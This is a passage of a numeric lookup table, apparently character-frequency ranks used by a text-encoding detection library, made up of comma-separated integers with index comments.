626,2205,1221,2739,2912,1144,1214,2206,2584, 760, # 2960 1715, 614, 950,1281,2670,2621, 810, 577,1287,2546,4648, 242,2168, 250,2643, 691, # 2976 123,2644, 647, 313,1029, 689,1357,2946,1650, 216, 771,1339,1306, 808,2063, 549, # 2992 913,1371,2913,2914,6149,1466,1092,1174,1196,1311,2605,2396,1783,1796,3079, 406, # 3008 2671,2117,3949,4649, 487,1825,2220,6150,2915, 448,2348,1073,6151,2397,1707, 130, # 3024 900,1598, 329, 176,1959,2527,1620,6152,2275,4336,3319,1983,2191,3705,3610,2155, # 3040 3706,1912,1513,1614,6153,1988, 646, 392,2304,1589,3320,3039,1826,1239,1352,1340, # 3056 2916, 505,2567,1709,1437,2408,2547, 906,6154,2672, 384,1458,1594,1100,1329, 710, # 3072 423,3531,2064,2231,2622,1989,2673,1087,1882, 333, 841,3005,1296,2882,2379, 580, # 3088 1937,1827,1293,2585, 601, 574, 249,1772,4118,2079,1120, 645, 901,1176,1690, 795, # 3104 2207, 478,1434, 516,1190,1530, 761,2080, 930,1264, 355, 435,1552, 644,1791, 987, # 3120 220,1364,1163,1121,1538, 306,2169,1327,1222, 546,2645, 218, 241, 610,1704,3321, # 3136 1984,1839,1966,2528, 451,6155,2586,3707,2568, 907,3178, 254,2947, 186,1845,4650, # 3152 745, 432,1757, 428,1633, 888,2246,2221,2489,3611,2118,1258,1265, 956,3127,1784, # 3168 4337,2490, 319, 510, 119, 457,3612, 274,2035,2007,4651,1409,3128, 970,2758, 590, # 3184 2800, 661,2247,4652,2008,3950,1420,1549,3080,3322,3951,1651,1375,2111, 485,2491, # 3200 1429,1156,6156,2548,2183,1495, 831,1840,2529,2446, 501,1657, 307,1894,3247,1341, # 3216 666, 899,2156,1539,2549,1559, 886, 349,2208,3081,2305,1736,3824,2170,2759,1014, # 3232 1913,1386, 542,1397,2948, 490, 368, 716, 362, 159, 282,2569,1129,1658,1288,1750, # 3248 2674, 276, 649,2016, 751,1496, 658,1818,1284,1862,2209,2087,2512,3451, 622,2834, # 3264 376, 117,1060,2053,1208,1721,1101,1443, 247,1250,3179,1792,3952,2760,2398,3953, # 3280 6157,2144,3708, 446,2432,1151,2570,3452,2447,2761,2835,1210,2448,3082, 424,2222, # 3296 1251,2449,2119,2836, 504,1581,4338, 602, 817, 857,3825,2349,2306, 357,3826,1470, # 3312 1883,2883, 255, 958, 929,2917,3248, 302,4653,1050,1271,1751,2307,1952,1430,2697, # 3328 2719,2359, 354,3180, 777, 158,2036,4339,1659,4340,4654,2308,2949,2248,1146,2232, # 3344 3532,2720,1696,2623,3827,6158,3129,1550,2698,1485,1297,1428, 637, 931,2721,2145, # 3360 914,2550,2587, 81,2450, 612, 827,2646,1242,4655,1118,2884, 472,1855,3181,3533, # 3376 3534, 569,1353,2699,1244,1758,2588,4119,2009,2762,2171,3709,1312,1531,6159,1152, # 3392 1938, 134,1830, 471,3710,2276,1112,1535,3323,3453,3535, 982,1337,2950, 488, 826, # 3408 674,1058,1628,4120,2017, 522,2399, 211, 568,1367,3454, 350, 293,1872,1139,3249, # 3424 1399,1946,3006,1300,2360,3324, 588, 736,6160,2606, 744, 669,3536,3828,6161,1358, # 3440 199, 723, 848, 933, 851,1939,1505,1514,1338,1618,1831,4656,1634,3613, 443,2740, # 3456 3829, 717,1947, 491,1914,6162,2551,1542,4121,1025,6163,1099,1223, 198,3040,2722, # 3472 370, 410,1905,2589, 998,1248,3182,2380, 519,1449,4122,1710, 947, 928,1153,4341, # 3488 2277, 344,2624,1511, 615, 105, 161,1212,1076,1960,3130,2054,1926,1175,1906,2473, # 3504 414,1873,2801,6164,2309, 315,1319,3325, 318,2018,2146,2157, 963, 631, 223,4342, # 3520 4343,2675, 479,3711,1197,2625,3712,2676,2361,6165,4344,4123,6166,2451,3183,1886, # 3536 2184,1674,1330,1711,1635,1506, 799, 219,3250,3083,3954,1677,3713,3326,2081,3614, # 3552 1652,2073,4657,1147,3041,1752, 643,1961, 147,1974,3955,6167,1716,2037, 918,3007, # 3568 1994, 120,1537, 118, 609,3184,4345, 740,3455,1219, 332,1615,3830,6168,1621,2980, # 3584 1582, 783, 212, 553,2350,3714,1349,2433,2082,4124, 889,6169,2310,1275,1410, 973, # 3600 166,1320,3456,1797,1215,3185,2885,1846,2590,2763,4658, 629, 822,3008, 763, 940, # 3616 1990,2862, 439,2409,1566,1240,1622, 926,1282,1907,2764, 654,2210,1607, 327,1130, # 3632 3956,1678,1623,6170,2434,2192, 686, 608,3831,3715, 903,3957,3042,6171,2741,1522, # 3648 1915,1105,1555,2552,1359, 323,3251,4346,3457, 738,1354,2553,2311,2334,1828,2003, # 3664 3832,1753,2351,1227,6172,1887,4125,1478,6173,2410,1874,1712,1847, 520,1204,2607, # 3680 264,4659, 836,2677,2102, 600,4660,3833,2278,3084,6174,4347,3615,1342, 640, 532, # 3696 543,2608,1888,2400,2591,1009,4348,1497, 341,1737,3616,2723,1394, 529,3252,1321, # 3712 983,4661,1515,2120, 971,2592, 924, 287,1662,3186,4349,2700,4350,1519, 908,1948, # 3728 2452, 156, 796,1629,1486,2223,2055, 694,4126,1259,1036,3392,1213,2249,2742,1889, # 3744 1230,3958,1015, 910, 408, 559,3617,4662, 746, 725, 935,4663,3959,3009,1289, 563, # 3760 867,4664,3960,1567,2981,2038,2626, 988,2263,2381,4351, 143,2374, 704,1895,6175, # 3776 1188,3716,2088, 673,3085,2362,4352, 484,1608,1921,2765,2918, 215, 904,3618,3537, # 3792 894, 509, 976,3043,2701,3961,4353,2837,2982, 498,6176,6177,1102,3538,1332,3393, # 3808 1487,1636,1637, 233, 245,3962, 383, 650, 995,3044, 460,1520,1206,2352, 749,3327, # 3824 530, 700, 389,1438,1560,1773,3963,2264, 719,2951,2724,3834, 870,1832,1644,1000, # 3840 839,2474,3717, 197,1630,3394, 365,2886,3964,1285,2133, 734, 922, 818,1106, 732, # 3856 480,2083,1774,3458, 923,2279,1350, 221,3086, 85,2233,2234,3835,1585,3010,2147, # 3872 1387,1705,2382,1619,2475, 133, 239,2802,1991,1016,2084,2383, 411,2838,1113, 651, # 3888 1985,1160,3328, 990,1863,3087,1048,1276,2647, 265,2627,1599,3253,2056, 150, 638, # 3904 2019, 656, 853, 326,1479, 680,1439,4354,1001,1759, 413,3459,3395,2492,1431, 459, # 3920 4355,1125,3329,2265,1953,1450,2065,2863, 849, 351,2678,3131,3254,3255,1104,1577, # 3936 227,1351,1645,2453,2193,1421,2887, 812,2121, 634, 95,2435, 201,2312,4665,1646, # 3952 1671,2743,1601,2554,2702,2648,2280,1315,1366,2089,3132,1573,3718,3965,1729,1189, # 3968 328,2679,1077,1940,1136, 558,1283, 964,1195, 621,2074,1199,1743,3460,3619,1896, # 3984 1916,1890,3836,2952,1154,2112,1064, 862, 378,3011,2066,2113,2803,1568,2839,6178, # 4000 3088,2919,1941,1660,2004,1992,2194, 142, 707,1590,1708,1624,1922,1023,1836,1233, # 4016 1004,2313, 789, 741,3620,6179,1609,2411,1200,4127,3719,3720,4666,2057,3721, 593, # 4032 2840, 367,2920,1878,6180,3461,1521, 628,1168, 692,2211,2649, 300, 720,2067,2571, # 4048 2953,3396, 959,2504,3966,3539,3462,1977, 701,6181, 954,1043, 800, 681, 183,3722, # 4064 1803,1730,3540,4128,2103, 815,2314, 174, 467, 230,2454,1093,2134, 755,3541,3397, # 4080 1141,1162,6182,1738,2039, 270,3256,2513,1005,1647,2185,3837, 858,1679,1897,1719, # 4096 2954,2324,1806, 402, 670, 167,4129,1498,2158,2104, 750,6183, 915, 189,1680,1551, # 4112 455,4356,1501,2455, 405,1095,2955, 338,1586,1266,1819, 570, 641,1324, 237,1556, # 4128 2650,1388,3723,6184,1368,2384,1343,1978,3089,2436, 879,3724, 792,1191, 758,3012, # 4144 1411,2135,1322,4357, 240,4667,1848,3725,1574,6185, 420,3045,1546,1391, 714,4358, # 4160 1967, 941,1864, 863, 664, 426, 560,1731,2680,1785,2864,1949,2363, 403,3330,1415, # 4176 1279,2136,1697,2335, 204, 721,2097,3838, 90,6186,2085,2505, 191,3967, 124,2148, # 4192 1376,1798,1178,1107,1898,1405, 860,4359,1243,1272,2375,2983,1558,2456,1638, 113, # 4208 3621, 578,1923,2609, 880, 386,4130, 784,2186,2266,1422,2956,2172,1722, 497, 263, # 4224 2514,1267,2412,2610, 177,2703,3542, 774,1927,1344, 616,1432,1595,1018, 172,4360, # 4240 2325, 911,4361, 438,1468,3622, 794,3968,2024,2173,1681,1829,2957, 945, 895,3090, # 4256 575,2212,2476, 475,2401,2681, 785,2744,1745,2293,2555,1975,3133,2865, 394,4668, # 4272 3839, 635,4131, 639, 202,1507,2195,2766,1345,1435,2572,3726,1908,1184,1181,2457, # 4288 3727,3134,4362, 843,2611, 437, 916,4669, 234, 769,1884,3046,3047,3623, 833,6187, # 4304 1639,2250,2402,1355,1185,2010,2047, 999, 525,1732,1290,1488,2612, 948,1578,3728, # 4320 2413,2477,1216,2725,2159, 334,3840,1328,3624,2921,1525,4132, 564,1056, 891,4363, # 4336 1444,1698,2385,2251,3729,1365,2281,2235,1717,6188, 864,3841,2515, 444, 527,2767, # 4352 2922,3625, 544, 461,6189, 566, 209,2437,3398,2098,1065,2068,3331,3626,3257,2137, # 4368 #last 512 #Everything below is of no interest for detection purpose 2138,2122,3730,2888,1995,1820,1044,6190,6191,6192,6193,6194,6195,6196,6197,6198, # 4384 6199,6200,6201,6202,6203,6204,6205,4670,6206,6207,6208,6209,6210,6211,6212,6213, # 4400 6214,6215,6216,6217,6218,6219,6220,6221,6222,6223,6224,6225,6226,6227,6228,6229, # 4416 6230,6231,6232,6233,6234,6235,6236,6237,3187,6238,6239,3969,6240,6241,6242,6243, # 4432 6244,4671,6245,6246,4672,6247,6248,4133,6249,6250,4364,6251,2923,2556,2613,4673, # 4448 4365,3970,6252,6253,6254,6255,4674,6256,6257,6258,2768,2353,4366,4675,4676,3188, # 4464 4367,3463,6259,4134,4677,4678,6260,2267,6261,3842,3332,4368,3543,6262,6263,6264, # 4480 3013,1954,1928,4135,4679,6265,6266,2478,3091,6267,4680,4369,6268,6269,1699,6270, # 4496 3544,4136,4681,6271,4137,6272,4370,2804,6273,6274,2593,3971,3972,4682,6275,2236, # 4512 4683,6276,6277,4684,6278,6279,4138,3973,4685,6280,6281,3258,6282,6283,6284,6285, # 4528 3974,4686,2841,3975,6286,6287,3545,6288,6289,4139,4687,4140,6290,4141,6291,4142, # 4544 6292,6293,3333,6294,6295,6296,4371,6297,3399,6298,6299,4372,3976,6300,6301,6302, # 4560 4373,6303,6304,3843,3731,6305,4688,4374,6306,6307,3259,2294,6308,3732,2530,4143, # 4576 6309,4689,6310,6311,6312,3048,6313,6314,4690,3733,2237,6315,6316,2282,3334,6317, # 4592 6318,3844,6319,6320,4691,6321,3400,4692,6322,4693,6323,3049,6324,4375,6325,3977, # 4608 6326,6327,6328,3546,6329,4694,3335,6330,4695,4696,6331,6332,6333,6334,4376,3978, # 4624 6335,4697,3979,4144,6336,3980,4698,6337,6338,6339,6340,6341,4699,4700,4701,6342, # 4640 6343,4702,6344,6345,4703,6346,6347,4704,6348,4705,4706,3135,6349,4707,6350,4708, # 4656 6351,4377,6352,4709,3734,4145,6353,2506,4710,3189,6354,3050,4711,3981,6355,3547, # 4672 3014,4146,4378,3735,2651,3845,3260,3136,2224,1986,6356,3401,6357,4712,2594,3627, # 4688 3137,2573,3736,3982,4713,3628,4714,4715,2682,3629,4716,6358,3630,4379,3631,6359, # 4704 6360,6361,3983,6362,6363,6364,6365,4147,3846,4717,6366,6367,3737,2842,6368,4718, # 4720 2628,6369,3261,6370,2386,6371,6372,3738,3984,4719,3464,4720,3402,6373,2924,3336, # 4736 4148,2866,6374,2805,3262,4380,2704,2069,2531,3138,2806,2984,6375,2769,6376,4721, # 4752 4722,3403,6377,6378,3548,6379,6380,2705,3092,1979,4149,2629,3337,2889,6381,3338, # 4768 4150,2557,3339,4381,6382,3190,3263,3739,6383,4151,4723,4152,2558,2574,3404,3191, # 4784 6384,6385,4153,6386,4724,4382,6387,6388,4383,6389,6390,4154,6391,4725,3985,6392, # 4800 3847,4155,6393,6394,6395,6396,6397,3465,6398,4384,6399,6400,6401,6402,6403,6404, # 4816 4156,6405,6406,6407,6408,2123,6409,6410,2326,3192,4726,6411,6412,6413,6414,4385, # 4832 4157,6415,6416,4158,6417,3093,3848,6418,3986,6419,6420,3849,6421,6422,6423,4159, # 4848 6424,6425,4160,6426,3740,6427,6428,6429,6430,3987,6431,4727,6432,2238,6433,6434, # 4864 4386,3988,6435,6436,3632,6437,6438,2843,6439,6440,6441,6442,3633,6443,2958,6444, # 4880 6445,3466,6446,2364,4387,3850,6447,4388,2959,3340,6448,3851,6449,4728,6450,6451, # 4896 3264,4729,6452,3193,6453,4389,4390,2706,3341,4730,6454,3139,6455,3194,6456,3051, # 4912 2124,3852,1602,4391,4161,3853,1158,3854,4162,3989,4392,3990,4731,4732,4393,2040, # 4928 4163,4394,3265,6457,2807,3467,3855,6458,6459,6460,3991,3468,4733,4734,6461,3140, # 4944 2960,6462,4735,6463,6464,6465,6466,4736,4737,4738,4739,6467,6468,4164,2403,3856, # 4960 6469,6470,2770,2844,6471,4740,6472,6473,6474,6475,6476,6477,6478,3195,6479,4741, # 4976 4395,6480,2867,6481,4742,2808,6482,2493,4165,6483,6484,6485,6486,2295,4743,6487, # 4992 6488,6489,3634,6490,6491,6492,6493,6494,6495,6496,2985,4744,6497,6498,4745,6499, # 5008 6500,2925,3141,4166,6501,6502,4746,6503,6504,4747,6505,6506,6507,2890,6508,6509, # 5024 6510,6511,6512,6513,6514,6515,6516,6517,6518,6519,3469,4167,6520,6521,6522,4748, # 5040 4396,3741,4397,4749,4398,3342,2125,4750,6523,4751,4752,4753,3052,6524,2961,4168, # 5056 6525,4754,6526,4755,4399,2926,4169,6527,3857,6528,4400,4170,6529,4171,6530,6531, # 5072 2595,6532,6533,6534,6535,3635,6536,6537,6538,6539,6540,6541,6542,4756,6543,6544, # 5088 6545,6546,6547,6548,4401,6549,6550,6551,6552,4402,3405,4757,4403,6553,6554,6555, # 5104 4172,3742,6556,6557,6558,3992,3636,6559,6560,3053,2726,6561,3549,4173,3054,4404, # 5120 6562,6563,3993,4405,3266,3550,2809,4406,6564,6565,6566,4758,4759,6567,3743,6568, # 5136 4760,3744,4761,3470,6569,6570,6571,4407,6572,3745,4174,6573,4175,2810,4176,3196, # 5152 4762,6574,4177,6575,6576,2494,2891,3551,6577,6578,3471,6579,4408,6580,3015,3197, # 5168 6581,3343,2532,3994,3858,6582,3094,3406,4409,6583,2892,4178,4763,4410,3016,4411, # 5184 6584,3995,3142,3017,2683,6585,4179,6586,6587,4764,4412,6588,6589,4413,6590,2986, # 5200 6591,2962,3552,6592,2963,3472,6593,6594,4180,4765,6595,6596,2225,3267,4414,6597, # 5216 3407,3637,4766,6598,6599,3198,6600,4415,6601,3859,3199,6602,3473,4767,2811,4416, # 5232 1856,3268,3200,2575,3996,3997,3201,4417,6603,3095,2927,6604,3143,6605,2268,6606, # 5248 3998,3860,3096,2771,6607,6608,3638,2495,4768,6609,3861,6610,3269,2745,4769,4181, # 5264 3553,6611,2845,3270,6612,6613,6614,3862,6615,6616,4770,4771,6617,3474,3999,4418, # 5280 4419,6618,3639,3344,6619,4772,4182,6620,2126,6621,6622,6623,4420,4773,6624,3018, # 5296 6625,4774,3554,6626,4183,2025,3746,6627,4184,2707,6628,4421,4422,3097,1775,4185, # 5312 3555,6629,6630,2868,6631,6632,4423,6633,6634,4424,2414,2533,2928,6635,4186,2387, # 5328 6636,4775,6637,4187,6638,1891,4425,3202,3203,6639,6640,4776,6641,3345,6642,6643, # 5344 3640,6644,3475,3346,3641,4000,6645,3144,6646,3098,2812,4188,3642,3204,6647,3863, # 5360 3476,6648,3864,6649,4426,4001,6650,6651,6652,2576,6653,4189,4777,6654,6655,6656, # 5376 2846,6657,3477,3205,4002,6658,4003,6659,3347,2252,6660,6661,6662,4778,6663,6664, # 5392 6665,6666,6667,6668,6669,4779,4780,2048,6670,3478,3099,6671,3556,3747,4004,6672, # 5408 6673,6674,3145,4005,3748,6675,6676,6677,6678,6679,3408,6680,6681,6682,6683,3206, # 5424 3207,6684,6685,4781,4427,6686,4782,4783,4784,6687,6688,6689,4190,6690,6691,3479, # 5440 6692,2746,6693,4428,6694,6695,6696,6697,6698,6699,4785,6700,6701,3208,2727,6702, # 5456 3146,6703,6704,3409,2196,6705,4429,6706,6707,6708,2534,1996,6709,6710,6711,2747, # 5472 6712,6713,6714,4786,3643,6715,4430,4431,6716,3557,6717,4432,4433,6718,6719,6720, # 5488 6721,3749,6722,4006,4787,6723,6724,3644,4788,4434,6725,6726,4789,2772,6727,6728, # 5504 6729,6730,6731,2708,3865,2813,4435,6732,6733,4790,4791,3480,6734,6735,6736,6737, # 5520 4436,3348,6738,3410,4007,6739,6740,4008,6741,6742,4792,3411,4191,6743,6744,6745, # 5536 6746,6747,3866,6748,3750,6749,6750,6751,6752,6753,6754,6755,3867,6756,4009,6757, # 5552 4793,4794,6758,2814,2987,6759,6760,6761,4437,6762,6763,6764,6765,3645,6766,6767, # 5568 3481,4192,6768,3751,6769,6770,2174,6771,3868,3752,6772,6773,6774,4193,4795,4438, # 5584 3558,4796,4439,6775,4797,6776,6777,4798,6778,4799,3559,4800,6779,6780,6781,3482, # 5600 6782,2893,6783,6784,4194,4801,4010,6785,6786,4440,6787,4011,6788,6789,6790,6791, # 5616 6792,6793,4802,6794,6795,6796,4012,6797,6798,6799,6800,3349,4803,3483,6801,4804, # 5632 4195,6802,4013,6803,6804,4196,6805,4014,4015,6806,2847,3271,2848,6807,3484,6808, # 5648 6809,6810,4441,6811,4442,4197,4443,3272,4805,6812,3412,4016,1579,6813,6814,4017, # 5664 6815,3869,6816,2964,6817,4806,6818,6819,4018,3646,6820,6821,4807,4019,4020,6822, # 5680 6823,3560,6824,6825,4021,4444,6826,4198,6827,6828,4445,6829,6830,4199,4808,6831, # 5696 6832,6833,3870,3019,2458,6834,3753,3413,3350,6835,4809,3871,4810,3561,4446,6836, # 5712 6837,4447,4811,4812,6838,2459,4448,6839,4449,6840,6841,4022,3872,6842,4813,4814, # 5728 6843,6844,4815,4200,4201,4202,6845,4023,6846,6847,4450,3562,3873,6848,6849,4816, # 5744 4817,6850,4451,4818,2139,6851,3563,6852,6853,3351,6854,6855,3352,4024,2709,3414, # 5760 4203,4452,6856,4204,6857,6858,3874,3875,6859,6860,4819,6861,6862,6863,6864,4453, # 5776 3647,6865,6866,4820,6867,6868,6869,6870,4454,6871,2869,6872,6873,4821,6874,3754, # 5792 6875,4822,4205,6876,6877,6878,3648,4206,4455,6879,4823,6880,4824,3876,6881,3055, # 5808 4207,6882,3415,6883,6884,6885,4208,4209,6886,4210,3353,6887,3354,3564,3209,3485, # 5824 2652,6888,2728,6889,3210,3755,6890,4025,4456,6891,4825,6892,6893,6894,6895,4211, # 5840 6896,6897,6898,4826,6899,6900,4212,6901,4827,6902,2773,3565,6903,4828,6904,6905, # 5856 6906,6907,3649,3650,6908,2849,3566,6909,3567,3100,6910,6911,6912,6913,6914,6915, # 5872 4026,6916,3355,4829,3056,4457,3756,6917,3651,6918,4213,3652,2870,6919,4458,6920, # 5888 2438,6921,6922,3757,2774,4830,6923,3356,4831,4832,6924,4833,4459,3653,2507,6925, # 5904 4834,2535,6926,6927,3273,4027,3147,6928,3568,6929,6930,6931,4460,6932,3877,4461, # 5920 2729,3654,6933,6934,6935,6936,2175,4835,2630,4214,4028,4462,4836,4215,6937,3148, # 5936 4216,4463,4837,4838,4217,6938,6939,2850,4839,6940,4464,6941,6942,6943,4840,6944, # 5952 4218,3274,4465,6945,6946,2710,6947,4841,4466,6948,6949,2894,6950,6951,4842,6952, # 5968 4219,3057,2871,6953,6954,6955,6956,4467,6957,2711,6958,6959,6960,3275,3101,4843, # 5984 6961,3357,3569,6962,4844,6963,6964,4468,4845,3570,6965,3102,4846,3758,6966,4847, # 6000 3878,4848,4849,4029,6967,2929,3879,4850,4851,6968,6969,1733,6970,4220,6971,6972, # 6016 6973,6974,6975,6976,4852,6977,6978,6979,6980,6981,6982,3759,6983,6984,6985,3486, # 6032 3487,6986,3488,3416,6987,6988,6989,6990,6991,6992,6993,6994,6995,6996,6997,4853, # 6048 6998,6999,4030,7000,7001,3211,7002,7003,4221,7004,7005,3571,4031,7006,3572,7007, # 6064 2614,4854,2577,7008,7009,2965,3655,3656,4855,2775,3489,3880,4222,4856,3881,4032, # 6080 3882,3657,2730,3490,4857,7010,3149,7011,4469,4858,2496,3491,4859,2283,7012,7013, # 6096 7014,2365,4860,4470,7015,7016,3760,7017,7018,4223,1917,7019,7020,7021,4471,7022, # 6112 2776,4472,7023,7024,7025,7026,4033,7027,3573,4224,4861,4034,4862,7028,7029,1929, # 6128 3883,4035,7030,4473,3058,7031,2536,3761,3884,7032,4036,7033,2966,2895,1968,4474, # 6144 3276,4225,3417,3492,4226,2105,7034,7035,1754,2596,3762,4227,4863,4475,3763,4864, # 6160 3764,2615,2777,3103,3765,3658,3418,4865,2296,3766,2815,7036,7037,7038,3574,2872, # 6176 3277,4476,7039,4037,4477,7040,7041,4038,7042,7043,7044,7045,7046,7047,2537,7048, # 6192 7049,7050,7051,7052,7053,7054,4478,7055,7056,3767,3659,4228,3575,7057,7058,4229, # 6208 7059,7060,7061,3660,7062,3212,7063,3885,4039,2460,7064,7065,7066,7067,7068,7069, # 6224 7070,7071,7072,7073,7074,4866,3768,4867,7075,7076,7077,7078,4868,3358,3278,2653, # 6240 7079,7080,4479,3886,7081,7082,4869,7083,7084,7085,7086,7087,7088,2538,7089,7090, # 6256 7091,4040,3150,3769,4870,4041,2896,3359,4230,2930,7092,3279,7093,2967,4480,3213, # 6272 4481,3661,7094,7095,7096,7097,7098,7099,7100,7101,7102,2461,3770,7103,7104,4231, # 6288 3151,7105,7106,7107,4042,3662,7108,7109,4871,3663,4872,4043,3059,7110,7111,7112, # 6304 3493,2988,7113,4873,7114,7115,7116,3771,4874,7117,7118,4232,4875,7119,3576,2336, # 6320 4876,7120,4233,3419,4044,4877,4878,4482,4483,4879,4484,4234,7121,3772,4880,1045, # 6336 3280,3664,4881,4882,7122,7123,7124,7125,4883,7126,2778,7127,4485,4486,7128,4884, # 6352 3214,3887,7129,7130,3215,7131,4885,4045,7132,7133,4046,7134,7135,7136,7137,7138, # 6368 7139,7140,7141,7142,7143,4235,7144,4886,7145,7146,7147,4887,7148,7149,7150,4487, # 6384 4047,4488,7151,7152,4888,4048,2989,3888,7153,3665,7154,4049,7155,7156,7157,7158, # 6400 7159,7160,2931,4889,4890,4489,7161,2631,3889,4236,2779,7162,7163,4891,7164,3060, # 6416 7165,1672,4892,7166,4893,4237,3281,4894,7167,7168,3666,7169,3494,7170,7171,4050, # 6432 7172,7173,3104,3360,3420,4490,4051,2684,4052,7174,4053,7175,7176,7177,2253,4054, # 6448 7178,7179,4895,7180,3152,3890,3153,4491,3216,7181,7182,7183,2968,4238,4492,4055, # 6464 7184,2990,7185,2479,7186,7187,4493,7188,7189,7190,7191,7192,4896,7193,4897,2969, # 6480 4494,4898,7194,3495,7195,7196,4899,4495,7197,3105,2731,7198,4900,7199,7200,7201, # 6496 4056,7202,3361,7203,7204,4496,4901,4902,7205,4497,7206,7207,2315,4903,7208,4904, # 6512 7209,4905,2851,7210,7211,3577,7212,3578,4906,7213,4057,3667,4907,7214,4058,2354, # 6528 3891,2376,3217,3773,7215,7216,7217,7218,7219,4498,7220,4908,3282,2685,7221,3496, # 6544 4909,2632,3154,4910,7222,2337,7223,4911,7224,7225,7226,4912,4913,3283,4239,4499, # 6560 7227,2816,7228,7229,7230,7231,7232,7233,7234,4914,4500,4501,7235,7236,7237,2686, # 6576 7238,4915,7239,2897,4502,7240,4503,7241,2516,7242,4504,3362,3218,7243,7244,7245, # 6592 4916,7246,7247,4505,3363,7248,7249,7250,7251,3774,4506,7252,7253,4917,7254,7255, # 6608 3284,2991,4918,4919,3219,3892,4920,3106,3497,4921,7256,7257,7258,4922,7259,4923, # 6624 3364,4507,4508,4059,7260,4240,3498,7261,7262,4924,7263,2992,3893,4060,3220,7264, # 6640 7265,7266,7267,7268,7269,4509,3775,7270,2817,7271,4061,4925,4510,3776,7272,4241, # 6656 4511,3285,7273,7274,3499,7275,7276,7277,4062,4512,4926,7278,3107,3894,7279,7280, # 6672 4927,7281,4513,7282,7283,3668,7284,7285,4242,4514,4243,7286,2058,4515,4928,4929, # 6688 4516,7287,3286,4244,7288,4517,7289,7290,7291,3669,7292,7293,4930,4931,4932,2355, # 6704 4933,7294,2633,4518,7295,4245,7296,7297,4519,7298,7299,4520,4521,4934,7300,4246, # 6720 4522,7301,7302,7303,3579,7304,4247,4935,7305,4936,7306,7307,7308,7309,3777,7310, # 6736 4523,7311,7312,7313,4248,3580,7314,4524,3778,4249,7315,3581,7316,3287,7317,3221, # 6752 7318,4937,7319,7320,7321,7322,7323,7324,4938,4939,7325,4525,7326,7327,7328,4063, # 6768 7329,7330,4940,7331,7332,4941,7333,4526,7334,3500,2780,1741,4942,2026,1742,7335, # 6784 7336,3582,4527,2388,7337,7338,7339,4528,7340,4250,4943,7341,7342,7343,4944,7344, # 6800 7345,7346,3020,7347,4945,7348,7349,7350,7351,3895,7352,3896,4064,3897,7353,7354, # 6816 7355,4251,7356,7357,3898,7358,3779,7359,3780,3288,7360,7361,4529,7362,4946,4530, # 6832 2027,7363,3899,4531,4947,3222,3583,7364,4948,7365,7366,7367,7368,4949,3501,4950, # 6848 3781,4951,4532,7369,2517,4952,4252,4953,3155,7370,4954,4955,4253,2518,4533,7371, # 6864 7372,2712,4254,7373,7374,7375,3670,4956,3671,7376,2389,3502,4065,7377,2338,7378, # 6880 7379,7380,7381,3061,7382,4957,7383,7384,7385,7386,4958,4534,7387,7388,2993,7389, # 6896 3062,7390,4959,7391,7392,7393,4960,3108,4961,7394,4535,7395,4962,3421,4536,7396, # 6912 4963,7397,4964,1857,7398,4965,7399,7400,2176,3584,4966,7401,7402,3422,4537,3900, # 6928 3585,7403,3782,7404,2852,7405,7406,7407,4538,3783,2654,3423,4967,4539,7408,3784, # 6944 3586,2853,4540,4541,7409,3901,7410,3902,7411,7412,3785,3109,2327,3903,7413,7414, # 6960 2970,4066,2932,7415,7416,7417,3904,3672,3424,7418,4542,4543,4544,7419,4968,7420, # 6976 7421,4255,7422,7423,7424,7425,7426,4067,7427,3673,3365,4545,7428,3110,2559,3674, # 6992 7429,7430,3156,7431,7432,3503,7433,3425,4546,7434,3063,2873,7435,3223,4969,4547, # 7008 4548,2898,4256,4068,7436,4069,3587,3786,2933,3787,4257,4970,4971,3788,7437,4972, # 7024 3064,7438,4549,7439,7440,7441,7442,7443,4973,3905,7444,2874,7445,7446,7447,7448, # 7040 3021,7449,4550,3906,3588,4974,7450,7451,3789,3675,7452,2578,7453,4070,7454,7455, # 7056 7456,4258,3676,7457,4975,7458,4976,4259,3790,3504,2634,4977,3677,4551,4260,7459, # 7072 7460,7461,7462,3907,4261,4978,7463,7464,7465,7466,4979,4980,7467,7468,2213,4262, # 7088 7469,7470,7471,3678,4981,7472,2439,7473,4263,3224,3289,7474,3908,2415,4982,7475, # 7104 4264,7476,4983,2655,7477,7478,2732,4552,2854,2875,7479,7480,4265,7481,4553,4984, # 7120 7482,7483,4266,7484,3679,3366,3680,2818,2781,2782,3367,3589,4554,3065,7485,4071, # 7136 2899,7486,7487,3157,2462,4072,4555,4073,4985,4986,3111,4267,2687,3368,4556,4074, # 7152 3791,4268,7488,3909,2783,7489,2656,1962,3158,4557,4987,1963,3159,3160,7490,3112, # 7168 4988,4989,3022,4990,4991,3792,2855,7491,7492,2971,4558,7493,7494,4992,7495,7496, # 7184 7497,7498,4993,7499,3426,4559,4994,7500,3681,4560,4269,4270,3910,7501,4075,4995, # 7200 4271,7502,7503,4076,7504,4996,7505,3225,4997,4272,4077,2819,3023,7506,7507,2733, # 7216 4561,7508,4562,7509,3369,3793,7510,3590,2508,7511,7512,4273,3113,2994,2616,7513, # 7232 7514,7515,7516,7517,7518,2820,3911,4078,2748,7519,7520,4563,4998,7521,7522,7523, # 7248 7524,4999,4274,7525,4564,3682,2239,4079,4565,7526,7527,7528,7529,5000,7530,7531, # 7264 5001,4275,3794,7532,7533,7534,3066,5002,4566,3161,7535,7536,4080,7537,3162,7538, # 7280 7539,4567,7540,7541,7542,7543,7544,7545,5003,7546,4568,7547,7548,7549,7550,7551, # 7296 7552,7553,7554,7555,7556,5004,7557,7558,7559,5005,7560,3795,7561,4569,7562,7563, # 7312 7564,2821,3796,4276,4277,4081,7565,2876,7566,5006,7567,7568,2900,7569,3797,3912, # 7328 7570,7571,7572,4278,7573,7574,7575,5007,7576,7577,5008,7578,7579,4279,2934,7580, # 7344 7581,5009,7582,4570,7583,4280,7584,7585,7586,4571,4572,3913,7587,4573,3505,7588, # 7360 5010,7589,7590,7591,7592,3798,4574,7593,7594,5011,7595,4281,7596,7597,7598,4282, # 7376 5012,7599,7600,5013,3163,7601,5014,7602,3914,7603,7604,2734,4575,4576,4577,7605, # 7392 7606,7607,7608,7609,3506,5015,4578,7610,4082,7611,2822,2901,2579,3683,3024,4579, # 7408 3507,7612,4580,7613,3226,3799,5016,7614,7615,7616,7617,7618,7619,7620,2995,3290, # 7424 7621,4083,7622,5017,7623,7624,7625,7626,7627,4581,3915,7628,3291,7629,5018,7630, # 7440 7631,7632,7633,4084,7634,7635,3427,3800,7636,7637,4582,7638,5019,4583,5020,7639, # 7456 3916,7640,3801,5021,4584,4283,7641,7642,3428,3591,2269,7643,2617,7644,4585,3592, # 7472 